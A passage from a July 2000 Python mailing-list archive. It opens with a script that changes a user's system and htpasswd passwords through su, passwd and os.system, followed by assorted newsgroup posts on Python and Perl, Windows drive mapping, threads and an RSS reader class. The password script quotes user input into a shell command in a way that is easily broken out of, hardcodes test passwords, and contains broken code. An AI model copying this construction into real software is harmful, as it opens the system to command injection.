        self.get_response () == 'Retype new UNIX password:'
        self.write (self.new_password)
        self.check_process_output (('passwd: all authentication '\
                                    'tokens updated successfully'),
                                   self.get_response ())

    def get_current_password (self):
        if not hasattr (self, 'current_password'):
            self.current_password = getpass.getpass ('Current password: ')

    def wrong_password (self):
        print 'Incorrect password entered.'
        sys.exit (1)

    def get_passwd_process (self):
        self.get_current_password ()
        self.passwd_process = pty_Popen ('/bin/su', [self.username, '-c',
                                                     '/usr/bin/passwd'])
        response = self.get_response ()
        if self.effective_user != 'root': # Negotiate the password challenge.
            self.check_process_output ('Password:', response)
            self.write (self.current_password)
            response = self.get_response()
            if response == ': incorrect password':
                self.wrong_password ()
        # Next response is sometimes not read in completely the first time.
        lines = string.split (response, '\n')
        if len (lines) == 1:
            lines.append (self.get_response ())
        lines = map (string.strip, lines)
        response = string.join (lines) 
        expected_response = 'Changing password for %s ' % self.username + \
                            '(current) UNIX password:'
        self.check_process_output (expected_response,
                                   response[-len (expected_response):])
        self.write (self.current_password)
        response = self.get_response ()
        if response != 'New UNIX password:':
            if self.check_process_output ('passwd: Authentication failure',
                                          response):
                self.wrong_password () # Die.

    def get_response (self):
        while 1:
            response = string.strip (self.passwd_process.read (1024))
            self.log.append (('o', response))
            if response:
                break
        return response

    def write (self, text):
        self.log.append (('i', text))
        assert self.passwd_process.write (text + '\n') == len (text) + 1

    def check_process_output (self, expected, actual):
        if expected != actual:
            self.log.append (('expected', expected))
            self.unexpected_process_output_p = 1
            print 'Unexpected output from passwd process encountered:'
            print response
            print 'Continuing in the hope that the response does not'
            print 'indicate a fatal error.'
            return 0
        else:
            return 1


def get_executing_user ():
    id_info = os.popen ('/usr/bin/id').read()[:-1]
    id_info = string.split (id_info)[1]
    id_re = re.match (r'gid=\d+\(([^)]*)\)', id_info)
    assert id_re
    user = id_re.group (1)
    return user

def main (t):
    executing_user = get_executing_user ()
    no_keyboard_interrupts = 1
    try:
        try:
            t.execute ()
        except KeyboardInterrupt:
            no_keyboard_interrupts = None
    except EOFError:
        no_keyboard_interrupts = None
    if not no_keyboard_interrupts:
        print
        print 'Stopped.'
        sys.exit (2)

    # If the database has not yet been created, use the '-c' flag
    # to do so.
    if os.path.exists (password_file):
        flags = '-b'
    else:
        flags = '-bc'

    # Quote the password, since that came from the user.
    # Just in case they try anything funny.
    args = [flags, password_file, executing_user, "'%s'" % t.new_password]
    command = string.join (['/usr/local/bin/htpasswd'] + args)

    # Save a backup, just in case
    current_password_file_contents = open (password_file).readlines ()    
    home_dir = os.path.expanduser ('~' + get_effective_user ())
    backup_filename = os.path.split (password_file)[1] + '.bak'
    backup_filename = os.path.join (home_dir, backup_filename)
    open (backup_filename, 'w').writelines (current_password_file_contents)
    assert os.system (command) == 0

    # Check that nothing got stomped on in password_file.
    new_password_file_contents = open (password_file).readlines ()
    for line in current_password_file_contents:
        if line not in new_password_file_contents and \
           string.split (line, ':')[0] != executing_user:
            # alert_alex ('Contents of password file have been ' \
                          'inadvertantly destroyed.')
            # print 'Back up stored in', backup_filename


def test ():
    global password_file
    password_file = '/home/alex_c/com/python/htpasswd'
    executing_user = 'alex_c'
    t = Passwd (executing_user)
    t.current_password, t.new_password  = 'whynot.', 'flurgle.'
    st ()
    t.check_password_against_machine (t.new_password)
    t.change_password ()
    raise 'stopped'

    
if __name__ == '__main__':
    executing_user = get_executing_user ()
    t = Passwd (executing_user)
    main (t)
    if t.unexpected_process_output_p:
        error_log_file = open ('/home/ht_keeper/error_log', 'a')
        # Want to record a log of the exchange, but don't want to 
        # record any passwords.
        log = []
        for line in t.log:
            if line[0] != 'i': # Don't get user input.
                log.append (line[1])
        error_log_file.write ('%s: %s\n' % (executing_user, log))
        # alert_alex ("There was an error in passwd.ht.")
        
    # Log the change.
    import time
    log_filename = '/home/ht_keeper/log'
    log_file = open (log_filename, 'a')
    log_file.write ('%s %s\n' % (executing_user, time.time ()))
    log_file.close ()
    
    


From grey at despair.rpglink.com  Thu Jul 27 22:56:21 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 02:56:21 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280117.LAA23637@mbuna.arbhome.com.au>
Message-ID: <slrn8o1tee.vnr.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 11:17:31 +1000, Anthony Baxter <anthony at interlink.com.au>
wrote:
>Euw! No, the "oh, I know what you want that to be, I'll change it for you" is
>my #1 all-time perl hate. 

    Why?  Has it ever messed up?  It does exactly what you tell it to unlike
the babysitting languages that barf with "Oh, you don't know what you're doing
so I won't let you do it."  

    Before you answer know the difference between it messing up and /you/, as
the programmer, messing up.  

    It is just like me with my problem where a method wasn't being called and
I couldn't figure out why.  It is because I forgot the parens.  Whoops, my
mistake even though I say, for argument's sake, that Python in non-interactive
mode should catch it.  Now that I know what is going on I can recognize it and
move on.

>Particularly when combined with magic linenoise - use the wrong bit of
>linenoise, and suddenly your large complex datastructure is an int. Yaaay.

    The above example applies here.  Once you know what is going on it is all
fairly straight forward.  BTW, your large, complex datastructure isn't an int.
There is no int unless you use int(), just like in Python, or try to stuff it
into someplace that expects something that could be called an int, in which
case it is your fault as a programmer, not the languages, and has nothing to
do with the symbols.

    In fact, I can't really think of how that applies at all since most "line
noise" in perl is in regex (which Python uses PCRE so don't get me started
there) and scalar/array/hash which is amazingly simple to manipulate and keep
track of compared to int, long, float, str, repr (and the difference between
repr and str), tuple, list (and the difference there), directory.  You have
three characters to keep track of, $, @ and %.  If you have mastered types you
can master those three in a virtually typeless context.  Trust me on that.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From olivierS.dagenaisP at canadaA.comM  Wed Jul 26 16:10:18 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 20:10:18 GMT
Subject: Deleting files with wildcards
References: <397f046d.193858654@news.atnet.at> <8lncs70240i@news2.newsguy.com>
Message-ID: <KAHf5.48357$1h3.681814@news20.bellglobal.com>

I will laugh so hard if, in a few weeks time, we see a Python virus going
around doing exactly this.  It would be the first totally portable virus,
now wouldn't it??  : )

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Alex Martelli" <alex at magenta.com> wrote in message
news:8lncs70240i at news2.newsguy.com...
> "Manfred Pisecky" <pisecky at tttech.com> wrote in message
> news:397f046d.193858654 at news.atnet.at...
> > Hello everyone!
> >
> > I have to delete a bundle of files, e.g. *.txt in a portable way (it
> > must work for Linux and NT).
> >
> > I use Python 1.5.2. and have not found a way to either delete files
> > with wildcards or to read the directory content (and do it file by
> > file).
> >
> > Is there a portable way in 1.5.2 ?
>
> os.listdir(path) will portably return the list of all files in
> the path, and os.unlink can be used to delete one or more of
> them (or, os.remove, too).  os.path.walk is also handy if you
> need to iterate on a whole subdirectory tree.
>
>
> Alex
>
>
>




From m.faassen at vet.uu.nl  Mon Jul 31 04:19:45 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 08:19:45 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8m25dm$ila$1@newshost.accu.uu.nl> <slrn8o9iuj.i9b.grey@teleute.rpglink.com> <m2em4brq43.fsf@mycroft.actrix.gen.nz>
Message-ID: <8m3cr1$hn2$3@newshost.accu.uu.nl>

Paul Foley <see at below> wrote:
> On Mon, 31 Jul 2000 00:46:17 GMT, Steve Lamb wrote:
[snip]
>> reason, however, b, which was pointing to 1 can be made to point to something
>> else which we'll call the integer formerly known as 1 where as None things
>> cannot be repointed from.  None is like that really nasy uncle everone has who

> Nonsense.

Ah, indeed; I didn't read this part of Steve's post when I replied
just now. This does seem to point out a misconception on Steve's part and
in my previous post I claimed he seemed to get it. :)

There is two ways to describe it.

"None cannot be repointed from"

correct: without an explicit assignment (or equivalent such as in a for 
loop), there is no way to make a name that points to None suddenly point
to something else. But in that sense, there's no way to make that name
point to something else *at all*; it doesn't matter what the name contained.

nonsense: a name pointing to None can be made to repoint to something else
just as easily as any name. Just use assignment.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From no at bo.dy  Sat Jul 22 11:46:07 2000
From: no at bo.dy (nobody)
Date: Sat, 22 Jul 2000 10:46:07 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org>
Message-ID: <jlie5.28024$DZ4.107957@news.corecomm.net>

cjc26 at nospam.cornell.edu (Cliff Crawford), in
<slrn8nhj0s.jr0.cjc26 at synecdoche.sowrong.org>:
> * nobody <no at bo.dy> menulis:

>> now, this newbie has run into another perl idiom he'd like to figure
>> out how to rewrite in python - "while (<FILE>) { print; }" - and, by
>> extension, how to get python to print the string i hand it, the whole
>> string i hand it, and nothing but the string i hand it?

> Hmm..not quite sure what you mean..maybe you want to use
> sys.stdout.write() instead?

perhaps. unfortunately, i haven't had time to work on this since i made
that posting, so i have got no further; i expect there's some fairly easy
way to write (copy) all the lines from one file to another one, possibly
(though not necessarily) stdout. perl is nice in that this task is a one-
liner in that language; i don't *need* it that concise, but it would be
nice. i like one-liners.

>> i despise machines trying to second- guess my intentions, and silly
>> little print statements trying to be clever with their arguments are
>> nothing more than that.

> print doesn't really try to be clever with its arguments, except for
> printing a space between each one and a newline at the end.

that's trying to be clever. then, if i'm reading raw lines from a file and
want to print them verbatim, i have to strip a newline somewhere somehow?
how do i copy a file to another one, is there a file.copy method in some
module somewhere?

> Maybe what you're looking for is the format operator?

it's certainly useful, but will it stop the print statement from
outputting things i may or occasionally may not want output?

[...]
>> i like it, i just wish its functions would be more consistent about
>> what sort of regexps they want - either all compiled or all not
>> compiled; i'm seeing some wanting one and some the other, for some
>> reason. might be just my system, i suppose...

> The two should be interchangable..AFAIK wherever you can use a compiled
> regexp, you can use an uncompiled one, and vice-versa.

that's what the documentation claims, but here's what i get:

Python 1.5.2 (#1, Feb  1 2000, 16:32:16)  [GCC egcs-2.91.66 19990314/Linux (egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import re
>>> test="this is a test string"
>>> reg=r"est"
>>> reg_c=re.compile(reg)
>>> match=re.match(reg_c,test)
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python1.5/re.py", line 40, in match
    return _cachecompile(pattern, flags).match(string)
  File "/usr/lib/python1.5/re.py", line 33, in _cachecompile
    value = compile(pattern, flags)
  File "/usr/lib/python1.5/re.py", line 79, in compile
    code=pcre_compile(pattern, flags, groupindex)
TypeError: argument 1: expected string, instance found
>>> match=re.match(reg,test)
>>>

the compiled one works in re.findall, though. i've no idea why this
bites me in this way, but it's not too hard to work around, so...




From jeroen at valcke.com.bbs  Mon Jul 17 11:00:01 2000
From: jeroen at valcke.com.bbs (jeroen at valcke.com.bbs)
Date: 17 Jul 2000 15:00:01 GMT
Subject: automatically filling web forms?
Message-ID: <3bRFj1$keM@openbazaar.net>

Whaaw, great, although I'm a newbie to python I managed to write to a cgi
script in a matter of minutes. I had read about python, and it is true:
this is powerful stuff! I'm hooked. I'm going to learn python.
Thanks for this sample code, it helped me alot!

Still, have some questions though. Another cgi script that I'm trying to
write to doesn't work.
The python program hangs and just waits until I terminate it. Any idea.
Somebody mentioned that on that particular site you can't write to their cgi scripts.
It is only possible to use that script from within there own pages.
Is that possible?

Also, a small question about the code
what about the file you open in the code, is that to write results?
because the file never gets created when i run the program, I don't need results too.

--
  Jeroen Valcke		jeroen at valcke.com    ICQ# 30116911		Home page:
  http://users.pandora.be/valcke/jeroen/ The best glimpse of heaven ... is
  on the way into hell.


From jpowers at acm.org  Mon Jul 10 11:52:24 2000
From: jpowers at acm.org (John Powers)
Date: Mon, 10 Jul 2000 10:52:24 -0500
Subject: Tkinter: buttons are dead of tkFileDialog.askopenfilename
Message-ID: <3969F138.4EFE768E@acm.org>

I have a simple Python script to illustrate a problem I'm having with
askopenfilename. The following program displays a window with a "Quit"
button. The "Quit" button works until you uncomment the statement which
calls askopenfilename. After selecting a file from the Open Dialog box,
the button window appears but the "Quit" button is dead -- absolutely no
response to pressing it. What's up? Maybe I shouldn't be calling
askopenfilename while initializing App?

from Tkinter import *
import tkFileDialog

class App(Tk):

  def __init__(self):
    Tk.__init__(self)
    filename = "filename"
    #filename = tkFileDialog.askopenfilename()
    Label(self, text=filename).pack()
    Button(self, text="Quit", command=self.quit).pack()

App().mainloop()


tia, jpp
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000710/747ca5c5/attachment.html>

From deprince at sprynet.com  Sat Jul  8 21:53:00 2000
From: deprince at sprynet.com (Adam DePrince)
Date: Sun, 09 Jul 2000 01:53:00 +0000
Subject: 123.4+2=125.40000000000001
References: <3950A30D.DEE4CF4D@brb.midat.de> <m3em5rch5f.fsf@chinon.cnrs-orleans.fr>
Message-ID: <3967DAFC.B1D5A1D3@sprynet.com>

Konrad Hinsen wrote:
> 
> Peter Koppatz <pkop at brb.midat.de> writes:
> 
> > >>> 123.4+2
> > 125.40000000000001   # is this OK?
> > >>> print 123.4+2
> > 125.4
> > >>>
> >
> > On my calculator: 123.4+2 = 125.4 !?
> 
> Because your calculator works with a decimal representation of
> numbers, whereas Python (and the vast majority of other programming
> languages) uses a binary representation. In binary, the result of your
> calculation has an infinite number of digits (like 1./3. has in
> decimal) and cannot be represented exactly in a computer. That causes
> the effect you observe.


Python uses C's "double" type, which on almost all modern machines uses
the IEEE format.  Omiting tons of neat details, IEEE double expresses
values as:

2^n * m/2^53

where m is unsigned between 0 and 2^53-1.

.4 cannot be expressed precisely in the above fraction; in base two .4
is a "repeating becimal"

-- 
Adam DePrince - firstname at lastname dot net, all in lowercase


From alex at magenta.com  Fri Jul 28 08:41:56 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 14:41:56 +0200
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com>
Message-ID: <8lrvae015nm@news2.newsguy.com>

<lshuler at my-deja.com> wrote in message news:8lr9nc$tdf$1 at nnrp1.deja.com...
> Is there an API using Win32 extensions to map a
> drive share? I have not found one yet and have
> tried searching "Win32 map drive". I am looking
> for the equivalent of:
>
> net use <share path>
>
> If not, is there an alternative other than making
> a call to system("net use <path>").

import win32net
win32net.NetUseAdd(None,1,{'remote':r'\\server\share','local':'K:'})

is an example (not all that easy to fathom from the docs, but I
found it out with a little help from the docs, a little from MSDN,
and a little experimentation).  If you're not already validated with
the server, you may need to add a 'password':'whatever' entry
to the dictionary that is the third argument to NetUseAdd.  But
this is equivalent to
    net use K: \\server\share
as I do not know what net use means _without_ the local
devicename (e.g., the 'K:' here).

win32net contains all the API's you may desire to emulate
"net use" and other subcommands of "net"; much of what
you need to know about it, you can gather from MSDN's
entries about "Platform SDK: Network Management" (use
msdn.microsoft.com for online access, if you don't have a
handy CD or DVD with MSDN on it), but of course there is
some mapping between the argument types involved.  Where
the original (C-level) API wants a structure, win32net uses a
dictionary instead, with entries corresponding to the struct's
fieldnames shorn of prefixes (e.g., the struct USE_INFO_1
that the C-level NetUseAdd API wants has fields named
ui1_remote and ui1_local).

But if you plan to do a lot of system programming and/or
system administration on Windows with Python (a very
workable and excellent plan, as it happens) you really
should splurge for the "Python Programming on Win32"
book by Hammond and Robinson, published by O'Reilly.
It's not perfect (for example, I can't find in its reference
Appendix any specific info on NetUseAdd, while it does
document a lot of OTHER win32net functions!-) but it
still helps a lot.


Alex





From aahz at netcom.com  Wed Jul 26 09:46:50 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 26 Jul 2000 13:46:50 GMT
Subject: how to know number of threads are running.
References: <397E524E.412FE123@eSec.com.au>
Message-ID: <8lmq4a$mge$1@nntp9.atl.mindspring.net>

In article <397E524E.412FE123 at eSec.com.au>, Sam Wun  <swun at eSec.com.au> wrote:
>thanks

If you are using threading.py, and if you create all your threads using
threading.Thread() (or subclasses thereof), then you can use
threading.activeCount().  However, you should be aware of two caveats:

* The main thread that starts up the subthreads *does* count as a
thread, so your thread count is always one higher than your first guess.

* While occasionally useful for what I call "brute force" threading,
activeCount() is mostly useless in "real" threaded programs.  If you
really want to know how many threads are running, use some kind of
variable that you increment and decrement through a mutex.  But there
are usually no reasons other than debugging to do this.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From wtanksle at dolphin.openprojects.net  Fri Jul 28 23:53:19 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Sat, 29 Jul 2000 03:53:19 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net>

On Fri, 28 Jul 2000 23:05:24 GMT, Steve Lamb wrote:
>On Fri, 28 Jul 2000 22:38:32 GMT, William Tanksley
><wtanksle at dolphin.openprojects.net> wrote:
>>That's a really cruel statement for you to make.  I hope you were making
>>it in jest.  I've seen nothing to indicate anything waranting this kind of
>>attack.

>    Neither cruel or jest.  I consider "Automagic" coversion on the same vein
>as "Winblows".  I have hoped that there were people who were above that, there
>are some, but it is here as in everywhere else.

You consider "automagic" an insult?  I've never HEARD of such a thing.
Please at least *inform* us before you take offence.  Note that your
"taking offence" (which included an accusation that the entire Python
community was a disgrace to the language they support) paragraph was not
anywhere NEAR to any use of the word "automagic", so left no possibility
of figuring out why you were offended.

I at least will be careful not to use that word in further disscusion, now
that I know.  I would ask that in the future you state exactly what
offends you, rather than shotgun accusing the *entire community* of being
jerks.

>         Steve C. Lamb

-- 
-William "Billy" Tanksley


From richard at whitequeen.com  Sat Jul  8 20:46:18 2000
From: richard at whitequeen.com (richard offer)
Date: Sat, 08 Jul 2000 17:46:18 -0700
Subject: [ANN] slashbox - class to get/display slashdot.org (and others) stories
Message-ID: <3967CB5A.C0710FFD@whitequeen.com>

Hi,

Here's a quick hack of a class to get and format news stories from a
number of sites.

It was designed with mod_python in mind, so all you need to do under
mod_python is

import slashbox
...

def handler(req):
    ...
    req.write(str(slashbox.Slashdot()))

To add the latest stories from slashdot to your page.


However there's nothing mod_pythong specific to it....


A number of other sites are included, its easy to add new ones simply
by sub-classing slashbox. The trick is to find the sites .rss/.rdf file.


You'll need the latest PyXML code.

I'm in the process of re-implementing my web server, so I have no url to
give you....


richard.
-------------- next part --------------

# $Id: slashbox.py,v 1.3 2000/07/09 00:34:38 richard Exp $
# Copyright (c) 2000 Richard Offer <richard at whitequeen.com>. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL 
# Richard Offer BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
# 
# Except as contained in this notice, the name of Richard Offer shall not be
# used in advertising or otherwise to promote the sale, use or other dealings
# in this Software without prior written authorization from Richard Offer.



#
#
# A python class to grab the Slashdot (and other sites using RSS/RDF) stories.


import stat
import xmllib
import urllib
import urlparse
import os
import time
import string
import sys
from xml.sax import saxlib,saxexts

class _myrdf(saxlib.HandlerBase):
	def __init__(self):
		self._in={}
		self._in["title"]=0
		self._in["link"]=0
		self._in["description"]=0
		self._txt={}
		self._txt["title"]=""
		self._txt["link"]=""
		self._txt["description"]=""

		self._stories=[]


	def startElement(self,ele,attr):
		if ele == 'item' :
			self._txt={}
			self._txt["title"]=""
			self._txt["link"]=""
			self._txt["description"]=""
		elif self._in.has_key(ele) :
			self._in[ele]=1
			
		else:
			pass

	def endElement(self,ele):
		if self._in.has_key(ele) :
			self._in[ele] = 0
			self._txt[ele] = string.join(string.split((self._txt[ele])))
		elif ele == 'item'  :
			self._stories.append(self._txt)

			
	
	def characters(self,ch,start,length):
		for i in self._in.keys():
				if self._in[i] == 1:
					self._txt[i] = self._txt[i] + ch[start:start+length]

	def stories(self):
		return self._stories

# class Site()

class slashbox:
	"""
Create a single slashbox.
  slashbox(url,freq)
		url is the url of the RSS/RDF file, freq is the update period (mins).
		The freq cannot be less than 30
  raw() 
		returns a list of stories (each story is stored in a dict).
  __str__() 
		returns a HTML table containing the stories.

Several subclasses are available, these already have the url defined,
so to get the headlines from slashdot.org simply do


>>> print Slashdot()

The list of built-in sites is 

	Slashdot()
	Freshmeat()
	SecurityFocus()
	Parnassus()
	LWN()
	Fool()
	LinuxNetNews()
	SourceForgeReleases()
	SourceForgeNews()


If you are using mod_python, you can embed a slashbox simply by

import slashbox
...

	req.write(str(slashbox.Slashdot()))


"""
	def __init__(self, url='http://slashdot.org/slashdot.rdf', freq=60):
		self._url=url
		if freq < 30:
			freq=30
		self._freq=freq
		_u=urlparse.urlparse(self._url)
		self._file=_u[1] + "-" + os.path.basename(url)
		if self._file == '':
			self._file = os.path.basename(url)

		self._file = "/tmp/slashbox-" + self._file

		self.site= _u[0]+ "://" + _u[1] + "/"
		self.name= _u[1]
		
		try:
			st=os.stat(self._file)
			if st[8] < ( time.time() - (self._freq*60) ):
				(fname,headers)=urllib.urlretrieve(self._url, self._file)	
		except OSError:
			(fname,headers)=urllib.urlretrieve(self._url,self._file)	

		fp=open(self._file)

		xmlp=saxexts.make_parser()

		self.dh=_myrdf()
		xmlp.setDocumentHandler(self.dh)
		xmlp.parseFile(fp)

	def stories(self):
		return self.dh.stories()
		

	def __str__(self):
		str="<SMALL>\n<TABLE BORDER=2 WIDTH=200>\n"
		str=str + '<TH><A HREF="%s">%s</A></TH>\n' % ( self.site,
				self.name )
		str=str + "<TR><TD>\n  <TABLE><TBODY>\n" 

		for i in self.dh.stories():
			str=str + '    <TR><TD><A HREF="%s">%s</A>' % ( i['link'],i['title'] )
			if i.has_key("description"):
				str=str + "<BR><SMALL>%s</SMALL>" % ( i['description'])
			str=str + '</TD></TR>\n' 
		str=str+"  </TBODY></TABLE></TD></TR>\n</TABLE></SMALL>\n\n"
		return str
		
	def setName(self,name):
		self.name=name



class Slashdot(slashbox):
	"""slashbox sub-class for Slashdot.org"""
	def __init__(self):
		_url='http://slashdot.org/slashdot.rdf'
		slashbox.__init__(self,url=_url)
		self.setName('Slashdot')

class Freshmeat(slashbox):
	"""slashbox sub-class for Freshmeat.net"""
	def __init__(self):
		_url='http://freshmeat.net/backend/fm.rdf'
		slashbox.__init__(self,url=_url)
		self.setName('Freshmeat')

class SecurityFocus(slashbox):
	"""slashbox sub-class for SecurityFocus.com"""
	def __init__(self):
		_url='http://www.securityfocus.com/topnews-rss.html'
		slashbox.__init__(self,url=_url)
		self.setName('Security Focus')

class Parnassus(slashbox):
	"""slashbox sub-class for the Vaults of Parnassus"""
	def __init__(self):
		_url='http://www.vex.net/parnassus/parnassus.rss'
		slashbox.__init__(self,url=_url)
		self.setName('Vaults of Parnassus')

class LWN(slashbox):
	"""slashbox sub-class for the Linux Weekly News"""
	def __init__(self):
		_url='http://lwn.net/headlines/rss'
		slashbox.__init__(self,url=_url)
		self.setName('Linux Weekly News')


class Fool(slashbox):
	"""slashbox sub-class for the Motley Fool"""
	def __init__(self):
		_url='http://www.fool.com/About/headlines/rss_headlines.asp'
		slashbox.__init__(self,url=_url)
		self.setName('The Motley Fool')

class LinuxNetNews(slashbox):
	"""slashbox sub-class for Linux Net News"""
	def __init__(self):
		_url='http://www.netnews.opensrc.org/index.rdf'
		slashbox.__init__(self,url=_url)
		self.setName('Linux Net News')

class SourceForgeReleases(slashbox):
	"""slashbox sub-class for new releases on SourceForge"""
	def __init__(self):
		_url='http://sourceforge.net/export/rss_sfnewreleases.php'
		slashbox.__init__(self,url=_url)
		self.setName('Sourceforge New Releases')

class SourceForgeNews(slashbox):
	"""slashbox sub-class for Project News at SourceForge"""
	def __init__(self):
		_url='http://sourceforge.net/export/rss_sfnews.php'
		slashbox.__init__(self,url=_url)
		self.setName('Sourceforge News')



if __name__ == "__main__":

	print Slashdot()	

From amk at mira.erols.com.bbs  Sun Jul 16 12:30:03 2000
From: amk at mira.erols.com.bbs (amk at mira.erols.com.bbs)
Date: 16 Jul 2000 16:30:03 GMT
Subject: Anyone going to OLS?
Message-ID: <3bQSbR$lPy@openbazaar.net>

On Sat, 15 Jul 2000 21:10:40 GMT,
	Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
>Hey, I'm in Ottawa!  Where's the OLS being held?  You think it's a problem
>if I never use Linux and I go to the OLS???  : )

See www.ottawalinuxsymposium.org; unfortunately I think all 500 places
were sold out in June.  A pity for you, since it's an impressively
technical conference -- no vendors, no sales people, just techies.
Some talks are Linux-specific, but others are of general interest to
any Unix programmer -- talks on GNOME, DocBook, writing network
daemons, etc.

--amk


From moshez at math.huji.ac.il  Thu Jul 20 14:57:41 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 20 Jul 2000 21:57:41 +0300 (IDT)
Subject: iterating over lines in a file
In-Reply-To: <8l75im$sc$1@sunnews.cern.ch>
Message-ID: <Pine.GSO.4.10.10007202156050.17706-100000@sundial>

On 20 Jul 2000, Radovan Garabik wrote:

> Moshe Zadka <moshez at math.huji.ac.il> wrote:
> ...
> 
>  : Preventing world war III, when Python achieves world domination.
>  : If C is allowed to achieve world domination, WWIII will be cause by
> 
>  : if(everything_is_ok = 0) {
>  : 	launch_missile();
>  : }
> 
>  : Whereas since Python wwill achieve world domination, 
> 
>  : if everything_is_ok = 0:
>  : 	launch_missile()
> 
>  : Is a syntax error, and wil be detected before it is allowed into the
>  : automated defense system.
> 
> nah... WWIII will be started with this code:
> 
> def check_if_there_is_an_attack():
>     ....
>     if ....:
>         return 0
>     else:
> 	return 1
> 
> if check_if_there_is_an_attack:
>     launch_counterattack()

C won't help you here either:

int check_if_there_is_an_attack()
{
...
}

main()
{
	if(check_if_there_is_an_attack)
		launch_counterattack();
}

Is just as valid...a pointer to a valid function is never NULL.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From gmcm at hypernet.com  Mon Jul 17 19:19:16 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 17 Jul 2000 23:19:16 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu>
Message-ID: <8F74C4E37gmcmhypernetcom@199.171.54.155>

Kevin Jacobs wrote: 

>Silly idea 1:
>
>  Until add-on Python grammar modules are available, what about a
>  PyAlgebra evaluator module.  For a precedent, see regular expressions.
>   The difference is that linear-algebra syntax can be made too
>  Python-like for some tastes.
>
>  e.g.:
>
>  import PyAlgebra
>
>  PyAlgebra.run(r'A = (A .* B)\C')
>  e = PyAlgebra(r"D = A'*B")
>  e.run() # or e()

I proposed something very similar to Huaiyu the other day:

  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

I know Thomas Wouters did, too. I haven't seen a post reflecting these 
suggestions.

In fact, looking at this thread in one of those tree-view newsreaders, it 
becomes obvious that branches die when a proposal is made, but arguments 
are met with vehement counter arguments. Which leads me to believe that:

>Silly idea 3:
>
>  Lets continue arguing until everyone, both pro and con, gets
>  irritated, 
>starts calling each other Nazis and gives up.

...has already won.

- Gordon


From MarkH at ActiveState.com  Thu Jul 20 21:24:40 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Fri, 21 Jul 2000 01:24:40 GMT
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov>
